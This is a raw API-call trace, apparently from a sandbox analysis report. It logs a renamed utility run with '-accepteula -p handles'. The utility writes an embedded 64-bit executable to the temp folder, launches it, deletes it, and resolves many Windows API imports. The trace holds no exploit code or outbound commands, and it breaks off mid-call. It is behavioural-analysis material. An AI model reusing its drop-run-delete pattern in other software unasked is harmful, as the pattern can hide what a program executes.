!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0134.252] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0134.252] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿµIÔ\x9cäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0134.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x80) returned 0x528248 [0134.252] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0134.252] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0134.252] RtlSizeHeap (HeapHandle=0x510000, Flags=0x0, MemoryPointer=0x528248) returned 0x80 [0134.252] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0134.252] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0134.252] GetCurrentProcess () returned 0xffffffff [0134.252] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0134.252] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0134.252] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0134.253] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0134.253] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0134.253] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0134.253] LockResource (hResData=0x43c648) returned 0x43c648 [0134.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5282d0 [0134.253] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0134.254] GetFileType (hFile=0x94) returned 0x1 [0134.254] WriteFile (in: hFile=0x94, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0134.261] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x529828 [0134.261] WriteFile (in: hFile=0x94, lpBuffer=0x529828*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x529828*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0134.262] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x529828 | out: hHeap=0x510000) returned 1 [0134.262] CloseHandle (hObject=0x94) returned 1 [0134.262] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" [0134.262] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x98, hThread=0x94, dwProcessId=0xc58, dwThreadId=0xbbc)) returned 1 [0134.279] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0138.073] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0138.075] CloseHandle (hObject=0x98) returned 1 [0138.075] CloseHandle (hObject=0x94) returned 1 [0138.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x527818 | out: hHeap=0x510000) returned 1 [0138.075] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0138.075] ExitProcess (uExitCode=0x0) [0138.076] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5260d0 | out: hHeap=0x510000) returned 1 Process: id = "243" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0xc3d1000" os_pid = "0xc5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "226" os_parent_pid = "0xfd8" cmd_line = "bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 856 os_tid = 0xc88 [0134.544] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0134.544] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0134.544] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0134.545] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0134.546] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0134.547] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0134.548] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0134.549] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0134.550] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0134.551] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0134.551] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0134.551] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0134.551] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0134.551] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0134.551] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0134.552] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0134.552] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0134.552] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0134.552] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0134.552] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0134.552] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0134.552] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0134.552] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0134.552] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0134.552] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0134.552] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0134.552] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0134.552] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0134.552] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0134.553] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0134.553] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74290000 [0134.553] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoW") returned 0x742919f4 [0134.553] GetProcAddress (hModule=0x74290000, lpProcName="VerQueryValueW") returned 0x74291b51 [0134.554] GetProcAddress (hModule=0x74290000, lpProcName="GetFileVersionInfoSizeW") returned 0x742919d9 [0134.554] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0134.554] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0134.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xf3736b20, dwHighDateTime=0x1d5d06a)) [0134.555] GetCurrentThreadId () returned 0xc88 [0134.555] GetCurrentProcessId () returned 0xc5c [0134.555] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=27650694968) returned 1 [0134.555] GetProcessHeap () returned 0x500000 [0134.555] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0134.555] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0134.555] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0134.555] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0134.555] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0134.555] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0134.555] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0134.555] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0134.556] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0134.557] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0134.558] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3bc) returned 0x5160b8 [0134.558] GetCurrentThreadId () returned 0xc88 [0134.558] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x516480 [0134.558] RtlAllocateHeap 